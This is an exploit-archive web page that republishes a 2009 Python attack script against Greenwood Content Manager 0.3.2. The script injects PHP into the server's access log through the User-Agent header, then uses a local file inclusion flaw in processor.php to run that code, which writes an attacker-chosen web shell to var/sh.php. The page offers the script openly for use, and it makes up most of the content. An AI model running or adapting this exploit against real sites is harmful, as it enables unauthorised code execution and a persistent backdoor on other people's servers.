首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Greenwood Content Manager 0.3.2 Local File Inclusion Exploit
来源:http://r3dw0rm.ir 作者:R3d.W0rm 发布时间:2009-07-16  
#!usr/bin/python
#####################################################################################
####            Greenwood Content Manager Remote Code Execution                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/sourceforge/greenwood/greenwood-release-0.3.2.tar.bz2
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/include/processor.php?content_path=[evil_code_path]           #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib,urllib
if len(sys.argv) < 3 :
    print "\n\rUsage : " + sys.argv[0] + " [site] [path]\n\r"
    print "Ex : " + sys.argv[0] + " 123.com /greenwood/\n\r"
    print "Powered by : Sina Yazdanmehr( R3d.W0rm )\n\r"
    print "http://IrCrash.com - http://R3dW0rm.ir\n\r"
    exit()
if 'http://' in sys.argv[1] :
    sys.argv[1]=sys.argv[1].replace('http://','')
print "Input evil code.( With out ' and <??> )( Ex. include $_GET[file]; )\n\r"
shell=raw_input('Code : ')
user_agent={'User-Agent':'<?php fwrite($fp=fopen("../var/sh.php","w+"),\'<?php /* Exploited by : R3d.W0rm - http://r3dw0rm.ir */ ' + shell + '?>\');fclose($fp); ?>'}
conn=httplib.HTTPConnection(sys.argv[1],80)
conn.request("POST",'/' + sys.argv[2] + '/','',user_agent)
response=conn.getresponse().read()
urllib.urlopen('http://' + sys.argv[1] + '/' + sys.argv[2] + '/include/processor.php?content_path=../var/access_log')
print "\n\rShell created : http://" +  sys.argv[1] + sys.argv[2] + "/var/sh.php\n\r"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZenPhoto 1.2.5 Completely Blin
·Hamster Audio Player 0.3a Loca
·AudioPLUS 2.00.215 (.m3u .lst)
·Mozilla Firefox 3.5 unicode Re
·Icarus 2.0 (.ICP File) Local B
·Infinity <= 2.0.5 Arbitrary Cr
·Multiple Web Browsers Denial o
·Admin News Tools Remote Conten
·serv-u 7 local exp 本地溢出提
·Microsoft Office Web Component
·Live For Speed 2 Version Z (.m
·webLeague 2.2.0 (Auth Bypass)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved